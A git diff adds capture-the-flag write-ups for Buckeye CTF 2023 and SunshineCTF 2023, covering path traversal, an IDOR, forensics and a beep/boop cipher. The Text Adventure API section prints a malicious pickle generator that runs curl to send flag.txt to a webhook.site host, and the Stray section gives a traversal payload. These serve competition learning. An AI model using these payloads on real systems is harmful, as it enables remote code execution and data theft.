feat: added sunshine and buckeye
|
@ -0,0 +1,8 @@
|
|||
# Buckeye CTF 2023
|
||||
CTF writeup for The Buckeye CTF 2023. I took part in this CTF competition with the HCS team and secured the 63th place out of 672 teams
|
||||
|
||||
| Category | Challenge |
|
||||
| --- | --- |
|
||||
| Misc | [replace-me](/Buckeye%20CTF%202023/replace-me/)
|
||||
| Web | [Stray](/Buckeye%20CTF%202023/Stray/)
|
||||
| Web | [Text Adventure API](/Buckeye%20CTF%202023/Text%20Adventure%20API/)
|
|
@ -0,0 +1,74 @@
|
|||
# Stray
|
||||
> Stuck on what to name your stray cat?
|
||||
|
||||
## About the Challenge
|
||||
We got a source code (You can download the file [here](export.zip)) and also the website. Here is the preview of the website
|
||||
|
||||
![preview](images/preview.png)
|
||||
|
||||
If we press one of the links, it will generate a cat name
|
||||
|
||||
![preview-2](images/preview-2.png)
|
||||
|
||||
## How to Solve?
|
||||
Let's analyze `app.js`!
|
||||
|
||||
```js
|
||||
import express from "express";
|
||||
import path from "path";
|
||||
import fs from "fs";
|
||||
|
||||
const app = express();
|
||||
|
||||
app.get("/cat", (req, res) => {
|
||||
let { category } = req.query;
|
||||
|
||||
console.log(category);
|
||||
|
||||
if (category.length == 1) {
|
||||
const filepath = path.resolve("./names/" + category);
|
||||
const lines = fs.readFileSync(filepath, "utf-8").split("\n");
|
||||
const name = lines[Math.floor(Math.random() * lines.length)];
|
||||
|
||||
res.status(200);
|
||||
res.send({ name });
|
||||
return;
|
||||
}
|
||||
|
||||
res.status(500);
|
||||
res.send({ error: "Unable to generate cat name" });
|
||||
});
|
||||
|
||||
app.get("/", (_, res) => {
|
||||
res.status(200);
|
||||
res.sendFile(path.resolve("index.html"));
|
||||
});
|
||||
|
||||
app.listen(process.env.PORT || 3000);
|
||||
```
|
||||
|
||||
In `/cat` endpoint, this code is checking if the length of category is 1. If it is, it reads a file from a `m` directory, selects a random name from that file, and sends it as a response to the client with an HTTP status code of 200.
|
||||
|
||||
To read the flag, we need to input `../flag.txt` as the value for parameter category. However, we can't do that directly due to the code checking whether the length of our input is 1 or not.
|
||||
|
||||
![testing input](images/test.png)
|
||||
|
||||
But we can't bypass that by providing an array instead of a string.
|
||||
|
||||
From:
|
||||
```
|
||||
cat?category=../flag.txt
|
||||
```
|
||||
|
||||
To:
|
||||
```
|
||||
cat?category[]=../flag.txt
|
||||
```
|
||||
|
||||
And here is the final payload I used to obtain the flag
|
||||
|
||||
![flag](images/flag.png)
|
||||
|
||||
```
|
||||
bctf{j4v45cr1p7_15_4_6r347_l4n6u463}
|
||||
```
|
After Width: | Height: | Size: 9.9 KiB |
After Width: | Height: | Size: 6.9 KiB |
After Width: | Height: | Size: 18 KiB |
After Width: | Height: | Size: 8.3 KiB |
|
@ -0,0 +1,156 @@
|
|||
# Text Adventure API
|
||||
> Explore my kitchen!
|
||||
|
||||
## About the Challenge
|
||||
We got a source code (You can download the file [here](export.zip)) and also the website. Here is the preview of the website
|
||||
|
||||
![preview](images/preview.png)
|
||||
|
||||
## How to Solve?
|
||||
Let's analyze `server.py`!
|
||||
|
||||
```py
|
||||
#!/usr/local/bin/python
|
||||
|
||||
import os
|
||||
import io
|
||||
import pickle
|
||||
from flask import Flask, Response, request, jsonify, session
|
||||
from waitress import serve
|
||||
|
||||
app = Flask(__name__)
|
||||
app.secret_key = os.environ.get("FLASK_SECRET_KEY", "")
|
||||
|
||||
rooms = {
|
||||
"start": {
|
||||
"description": "You are in a kitchen. There's a table, a cabinet, and a fridge.",
|
||||
"exits": ["table", "cabinet", "fridge"]
|
||||
},
|
||||
"table": {
|
||||
"description": "You find a table with some items on it.",
|
||||
"exits": ["start"],
|
||||
"objects": {
|
||||
"note": "A handwritten note with a message.",
|
||||
"apple": "A shiny red apple."
|
||||
}
|
||||
},
|
||||
"cabinet": {
|
||||
"description": "You open the cabinet and see various utensils.",
|
||||
"exits": ["start"],
|
||||
"objects": {
|
||||
"spoon": "A metal spoon.",
|
||||
"fork": "A fork with three prongs."
|
||||
}
|
||||
},
|
||||
"fridge": {
|
||||
"description": "You open the fridge and see various food items.",
|
||||
"exits": ["start"],
|
||||
"objects": {
|
||||
"milk": "A carton of fresh milk.",
|
||||
"eggs": "A dozen eggs in a container."
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@app.route('/api/move', methods=['POST'])
|
||||
def move():
|
||||
data = request.get_json()
|
||||
exit_choice = data.get("exit")
|
||||
current_location = get_current_location()
|
||||
if exit_choice in rooms[current_location]["exits"]:
|
||||
session['current_location'] = exit_choice
|
||||
return jsonify({"message": f"You move to the {exit_choice}. {rooms[exit_choice]['description']}"})
|
||||
else:
|
||||
return jsonify({"message": "You can't go that way."})
|
||||
|
||||
@app.route('/api/examine', methods=['GET'])
|
||||
def examine():
|
||||
current_location = get_current_location()
|
||||
room_description = rooms[current_location]['description']
|
||||
exits = rooms[current_location]['exits']
|
||||
|
||||
if "objects" in rooms[current_location]:
|
||||
objects = rooms[current_location]['objects']
|
||||
return jsonify({"current_location": current_location, "description": room_description, "objects": [obj for obj in objects], "exits": exits})
|
||||
else:
|
||||
return jsonify({"current_location": current_location, "description": room_description, "message": "There are no objects to examine here.", "exits": exits})
|
||||
|
||||
@app.route('/api/examine/<object_name>', methods=['GET'])
|
||||
def examine_object(object_name):
|
||||
current_location = get_current_location()
|
||||
if "objects" in rooms[current_location] and object_name in rooms[current_location]['objects']:
|
||||
object_description = rooms[current_location]['objects'][object_name]
|
||||
return jsonify({"object": object_name, "description": object_description})
|
||||
else:
|
||||
return jsonify({"message": f"{object_name} not found or cannot be examined here."})
|
||||
|
||||
|
||||
def get_current_location():
|
||||
return session.get('current_location', 'start')
|
||||
|
||||
@app.route('/api/save', methods=['GET'])
|
||||
def save_session():
|
||||
session_data = {
|
||||
'current_location': get_current_location()
|
||||
# Add other session-related data as needed
|
||||
}
|
||||
|
||||
memory_stream = io.BytesIO()
|
||||
pickle.dump(session_data, memory_stream)
|
||||
response = Response(memory_stream.getvalue(), content_type='application/octet-stream')
|
||||
response.headers['Content-Disposition'] = 'attachment; filename=data.pkl'
|
||||
|
||||
return response
|
||||
|
||||
@app.route('/api/load', methods=['POST'])
|
||||
def load_session():
|
||||
if 'file' not in request.files:
|
||||
return jsonify({"message": "No file part"})
|
||||
file = request.files['file']
|
||||
if file and file.filename.endswith('.pkl'):
|
||||
try:
|
||||
loaded_session = pickle.load(file)
|
||||
session.update(loaded_session)
|
||||
except:
|
||||
return jsonify({"message": "Failed to load save game session."})
|
||||
return jsonify({"message": "Game session loaded."})
|
||||
else:
|
||||
return jsonify({"message": "Invalid file format. Please upload a .pkl file."})
|
||||
|
||||
if __name__ == '__main__':
|
||||
if os.environ.get("DEPLOY_ENV") == "production":
|
||||
serve(app, host='0.0.0.0', port=5000)
|
||||
else:
|
||||
app.run(debug=True, host="0.0.0.0")
|
||||
```
|
||||
|
||||
Let's focus on the endpoints `/api/save` and `/api/load`. The `/api/save` endpoint will dump a pickle file, while the `/api/load` endpoint will load our pickle file. And by using this [blog](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) as a reference. We can do remote code execution on the website by uploading malicious pickle file. I've created a python script to generate malicious pickle dump file
|
||||
|
||||
```py
|
||||
import pickle
|
||||
import os
|
||||
|
||||
class RCE:
|
||||
def __reduce__(self):
|
||||
cmd = ('curl -F password=@flag.txt https://webhook.site/36fc6839-b7fd-4de3-9f47-817f155a2c74')
|
||||
return os.system, (cmd,)
|
||||
|
||||
if __name__ == '__main__':
|
||||
pickled = pickle.dumps(RCE())
|
||||
with open("test.pkl", "wb") as file:
|
||||
file.write(pickled)
|
||||
```
|
||||
|
||||
And then execute this `curl` command
|
||||
|
||||
```
|
||||
curl -F file=@data.pkl https://text-adventure-api.chall.pwnoh.io/api/load -v
|
||||
```
|
||||
|
||||
And then check `webhook.site` to download the flag
|
||||
|
||||
![flag](images/flag.png)
|
||||
|
||||
```
|
||||
bctf{y0u_f0und_7h3_py7h0n_p1ckl3_1n_7h3_k17ch3n}
|
||||
```
|
After Width: | Height: | Size: 48 KiB |
After Width: | Height: | Size: 116 KiB |
|
@ -0,0 +1,34 @@
|
|||
# replace-me
|
||||
> I knew I shouldn't have gotten a cheap phone :/
|
||||
|
||||
## About the Challenge
|
||||
We have been given a boot image file (You can download the file [here](dist)), and we need to find the flag there
|
||||
|
||||
## How to Solve?
|
||||
First, you can use `file` command in linux to find out the type of file to be analyzed
|
||||
|
||||
![file](images/file.png)
|
||||
|
||||
When I solved this challenge yesterday, I used `binwalk`, but if you are using the intended way, you can use `mkbootimg`. Now, to extract the files using `binwalk`, here is the command I used to extract the files from dist:
|
||||
|
||||
```bash
|
||||
binwalk -e dist
|
||||
```
|
||||
|
||||
![binwalk](images/binwalk.png)
|
||||
|
||||
And then extract the extracted file again called `5BC000` using binwalk
|
||||
|
||||
```bash
|
||||
binwalk -e 5BC000
|
||||
```
|
||||
|
||||
![binwalk-2](images/binwalk-2.png)
|
||||
|
||||
And the flag was located in `/cpio-root/res/images/charger` directory
|
||||
|
||||
![flag](images/flag.png)
|
||||
|
||||
```
|
||||
bctf{gr33n_r0b0t_ph0N3}
|
||||
```
|
After Width: | Height: | Size: 114 KiB |
After Width: | Height: | Size: 34 KiB |
After Width: | Height: | Size: 9.0 KiB |
After Width: | Height: | Size: 65 KiB |
|
@ -13,6 +13,7 @@ There are __396__ writeups that have been made in this repository
|
|||
| ---------- | ---- | ------- |
|
||||
| DeconstruCT.F 2023 | aseng_fans_club | 1 |
|
||||
| The Odyssey CTF | aseng_fans_club | 1 |
|
||||
| Pointer Overflow CTF 2023 | HCS | 1 |
|
||||
| BDSec CTF 2023 | HCS | 1 |
|
||||
| h4ckc0n 2023 | TCP1P | 2 |
|
||||
| 0xLaugh CTF 2023 | TCP1P | 2 |
|
||||
|
@ -107,6 +108,8 @@ List of CTF events that i have joined before
|
|||
| Urmia CTF 2023 | No | - |
|
||||
| CSAW CTF Qual 2023 2023 | Yes | [Link](/CSAW%20CTF%20Qualification%20Round%202023/) |
|
||||
| Winja CTF 2023 | Yes | [Link](/Winja%20CTF%202023/) |
|
||||
| Buckeye CTF 2023 | Yes | [Link](/Buckeye%20CTF%202023/) |
|
||||
| SunshineCTF 2023 | Yes | [Link](/SunshineCTF%202023/) |
|
||||
|
||||
### Local Events
|
||||
| Event Name | Writeup Available? | Writeup Link |
|
||||
|
|
|
@ -0,0 +1,37 @@
|
|||
# BeepBoop Blog
|
||||
> A few robots got together and started a blog! It's full of posts that make absolutely no sense, but a little birdie told me that one of them left a secret in their drafts. Can you find it?
|
||||
|
||||
## About the Challenge
|
||||
We have been given a website. Here is the preview of the website
|
||||
|
||||
![preview](images/preview.png)
|
||||
|
||||
If we check one of the details of the post it will look like this
|
||||
|
||||
![preview-post](images/preview-post.png)
|
||||
|
||||
## How to Solve?
|
||||
If we check the `Network` tab in chrome, there are 2 endpoints
|
||||
|
||||
- /posts/
|
||||
- /post/[0-9]/
|
||||
|
||||
![hidden](images/hidden.png)
|
||||
|
||||
In endpoint `/post/[0-9]/` contain interesting JSON key and value called `hidden`. Almost all posts on this site set the `hidden` JSON key value to `false`. And if we check the description
|
||||
|
||||
```
|
||||
but a little birdie told me that one of them left a secret in their drafts
|
||||
```
|
||||
|
||||
It looks like we need to find posts whose `hidden` JSON key value is set to `true`. To solve this problem, im using `ffuf` and then check all post and using `-mr` flag to find `"hidden":true`
|
||||
|
||||
![ffuf](images/ffuf.png)
|
||||
|
||||
Hmmm, lets check the post by hitting `/post/608/` endpoint
|
||||
|
||||
![flag](images/flag.png)
|
||||
|
||||
```
|
||||
sun{wh00ps_4ll_IDOR}
|
||||
```
|
After Width: | Height: | Size: 50 KiB |
After Width: | Height: | Size: 11 KiB |
After Width: | Height: | Size: 13 KiB |
After Width: | Height: | Size: 49 KiB |
After Width: | Height: | Size: 74 KiB |
|
@ -0,0 +1,32 @@
|
|||
# BeepBoop Cryptography
|
||||
> Help! My IOT device has gone sentient!
|
||||
> All I wanted to know was the meaning of 42!
|
||||
|
||||
> It's also waving its arms up and down, and I...
|
||||
|
||||
> oh no! It's free!
|
||||
|
||||
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
|
||||
> Automated Challenge Instructions
|
||||
> Detected failure in challenge upload. Original author terminated. Please see attached file BeepBoop for your flag... human.
|
||||
|
||||
## About the Challenge
|
||||
We got a file called `BeepBoop` and in this file there are only 2 words, `beep` and `boop`
|
||||
|
||||
```
|
||||
beep beep beep beep boop beep boop beep beep boop boop beep beep boop boop beep beep boop boop beep boop beep beep beep beep boop boop beep beep beep beep boop beep boop boop boop boop beep boop boop beep boop boop boop beep beep boop beep beep boop boop beep boop beep boop boop beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep boop boop beep beep boop beep boop beep boop boop boop boop beep boop beep beep boop boop boop beep boop boop beep beep boop boop beep beep beep beep boop beep boop boop beep boop boop boop beep beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep beep boop beep boop boop beep boop beep boop boop boop beep beep boop beep beep boop boop beep boop beep boop boop beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep boop boop beep beep boop beep boop beep boop boop boop boop beep boop beep beep boop boop boop beep boop boop beep beep boop boop beep beep beep beep boop beep boop boop beep boop boop boop beep beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep beep boop beep boop boop beep boop beep boop boop boop beep beep boop beep beep boop boop beep boop beep boop boop beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep boop boop beep beep boop beep boop beep boop boop boop boop beep boop beep beep boop boop boop beep boop boop beep beep boop boop beep beep beep beep boop beep boop boop beep boop boop boop beep beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep boop boop boop boop boop beep boop
|
||||
```
|
||||
|
||||
## How to Solve?
|
||||
The first thing that came to my mind when I saw this file was binary code. The word `beep` may represent the number 0 and `boop` may represent the number 1
|
||||
|
||||
![binary](images/binary.png)
|
||||
|
||||
Hmmm the output was `fha{rkgrezvangr-rkgrezvangr-rkgrezvangr}`.It looks like we need to shift the characters using `ROT13`
|
||||
|
||||
![flag](images/flag.png)
|
||||
|
||||
```
|
||||
sun{exterminate-exterminate-exterminate}
|
||||
```
|
After Width: | Height: | Size: 56 KiB |
After Width: | Height: | Size: 12 KiB |
|
@ -0,0 +1,41 @@
|
|||
# Low Effort Wav 🌊
|
||||
> Last year we went all-out and created a JXL file that had too much data.
|
||||
|
||||
> That was too much effort. Shuga had to go and create a custom file that was altered, that's too much work, and is too passé. Also an astounding 286 guesses were made against 9 correct answers. That was too many.
|
||||
|
||||
> This year, we used an already existing vulnerability (edit: aaaaaaaaaand it's patched, and like a day after we made this challenge... which was months ago), for minimum effort. And the flag, dude, is like, fully there, when you find it. Not half there. No risk of guessing.
|
||||
|
||||
> This year, we introduce:
|
||||
|
||||
> The low-effort wave 🌊
|
||||
> Ride the wave man. 🏄♂️🏄♀️🌊
|
||||
|
||||
> The wave is life. The waves are like, sound, and like water, and like cool and refreshing dude.
|
||||
|
||||
> But waves are hard to ride
|
||||
> So listen to them instead, crashing on the seashore. Listen to the music of the sea. Like the theme this year is music or something. So I theme this challenge, like, minimum effort music. Listen to this attached .wav file. It's amazing. Or so I've heard. Or rather, haven't. Something's broken with it. I don't know dude.
|
||||
|
||||
> It also doesn't work. Can you fix this for me? I think there's a flag if you can find it.
|
||||
|
||||
> Hints
|
||||
> There will be no hints given for this challenge by judges. The flag is in standard sun{} format. If anything, we've already given you too much data.
|
||||
|
||||
## About the Challenge
|
||||
We got a file called `low_effort.wav` and if we run `file` command:
|
||||
|
||||
![file](images/file.png)
|
||||
|
||||
And if we run `exiftool` command:
|
||||
|
||||
![exiftool](images/exiftool.png)
|
||||
|
||||
There are an interesting information like `Warning : [minor] Trailer data after PNG IEND chunk` and `Unique Camera Model : Google Pixel 7`
|
||||
|
||||
## How to Solve?
|
||||
To get the flag, I took advantage of [CVE 2023-21036](https://en.wikipedia.org/wiki/ACropalypse), which is a vulnerability in Markup (Screenshoot editing tool in Google Pixel). And im using this [tool](https://github.com/frankthetank-music/Acropalypse-Multi-Tool) to recover cropped image
|
||||
|
||||
![flag](images/flag.png)
|
||||
|
||||
```
|
||||
sun{well_that_was_low_effort}
|
||||
```
|
After Width: | Height: | Size: 68 KiB |
After Width: | Height: | Size: 12 KiB |
After Width: | Height: | Size: 220 KiB |
|
@ -0,0 +1,8 @@
|
|||
# Sunshine CTF 2023
|
||||
CTF writeup for The Sunshine CTF 2023. I took part in this CTF competition with the HCS team and secured the 83th place out of 821 teams
|
||||
|
||||
| Category | Challenge |
|
||||
| --- | --- |
|
||||
| Web | [BeepBoop Blog](/SunshineCTF%202023/BeepBoop%20Blog/)
|
||||
| Forensic | [Low Effort Wav 🌊](/SunshineCTF%202023/Low%20Effort%20Wav%20🌊/)
|
||||
| Cryptography | [BeepBoop Cryptography](/SunshineCTF%202023/BeepBoop%20Cryptography/)
|